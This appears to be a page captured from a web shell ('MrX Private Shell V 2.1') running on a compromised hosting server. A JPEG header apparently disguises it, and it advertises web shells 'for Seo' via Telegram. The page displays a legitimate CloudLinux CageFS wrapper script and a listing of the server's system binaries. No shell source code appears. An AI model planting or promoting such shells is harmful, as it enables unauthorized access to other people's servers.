����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
#!/opt/cloudlinux/venv/bin/python3 -sbb
# -*- coding: utf-8 -*-
#
# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2025 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# https://cloudlinux.com/docs/LICENCE.TXT
#
"""
Execute a command inside CageFS for a site (document root or domain).
This wrapper provides a command-line interface for executing commands within
the isolated CageFS environment for a specific website.
"""
import argparse
import os
import sys
from clcagefslib.webisolation import libenter
def create_parser():
"""
Create argument parser for cagefs_enter_site.
Returns:
argparse.ArgumentParser: Configured argument parser
"""
parser = argparse.ArgumentParser(
# the command is named with _underscores_ to match
# existing cagefs_enter wrapper from lvewrappers
prog="cagefs_enter_site",
description="Execute a command inside CageFS for a site (document root or domain)",
)
parser.add_argument("site", type=str, help="Document root or domain")
parser.add_argument(
"command", type=str, nargs=argparse.REMAINDER, help="Command to execute"
)
return parser
def main():
"""
Main entry point.
Returns:
int: Exit code
"""
parser = create_parser()
args = parser.parse_args()
if not args.command:
parser.error("COMMAND is required")
try:
return libenter.enter_site(args.site, args.command)
except ValueError as e:
print(f"Error: {e}", file=sys.stderr)
return 1
except KeyboardInterrupt:
# Clean Ctrl+C exit without traceback (exit code 130 = SIGINT).
return 130
if __name__ == "__main__":
if os.geteuid() == 0:
print("Error: This program can not be run as root", file=sys.stderr)
sys.exit(1)
sys.exit(main())
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| cagefs_enter_site | File | 1.83 KB | 0755 |
|
| cagefsctl-user | File | 14.41 KB | 0755 |
|
| chroot | File | 39.73 KB | 0755 |
|
| cloudlinux-selector | File | 654 B | 0755 |
|
| consoletype | File | 15.13 KB | 0755 |
|
| cracklib-check | File | 15.7 KB | 0755 |
|
| cracklib-format | File | 255 B | 0755 |
|
| cracklib-packer | File | 15.7 KB | 0755 |
|
| cracklib-unpacker | File | 15.69 KB | 0755 |
|
| create-cracklib-dict | File | 994 B | 0755 |
|
| ddns-confgen | File | 27.26 KB | 0755 |
|
| exim | File | 1.25 KB | 0755 |
|
| faillock | File | 23.18 KB | 0755 |
|
| ip | File | 770.19 KB | 0755 |
|
| isolatectl | File | 9.06 KB | 0755 |
|
| ldconfig | File | 1.12 MB | 0755 |
|
| lvdctl | File | 683 B | 0755 |
|
| mkhomedir_helper | File | 23.21 KB | 0755 |
|
| named-checkzone | File | 39.34 KB | 0755 |
|
| named-compilezone | File | 39.34 KB | 0755 |
|
| named-nzd2nzf | File | 15.12 KB | 0755 |
|
| nsec3hash | File | 15.2 KB | 0755 |
|
| pam_console_apply | File | 43.51 KB | 0755 |
|
| pam_namespace_helper | File | 471 B | 0755 |
|
| pam_timestamp_check | File | 15.13 KB | 0755 |
|
| pluginviewer | File | 19.39 KB | 0755 |
|
| proxyexec | File | 24.01 KB | 0555 |
|
| pwhistory_helper | File | 19.2 KB | 0755 |
|
| saslauthd | File | 88.33 KB | 0755 |
|
| sasldblistusers2 | File | 15.27 KB | 0755 |
|
| saslpasswd2 | File | 15.24 KB | 0755 |
|
| sendmail | File | 1.26 KB | 0755 |
|
| testsaslauthd | File | 15.16 KB | 0755 |
|
| tmpwatch | File | 36.03 KB | 0755 |
|
| tsig-keygen | File | 27.26 KB | 0755 |
|
| unix_chkpwd | File | 23.28 KB | 0755 |
|
| unix_update | File | 31.32 KB | 0700 |
|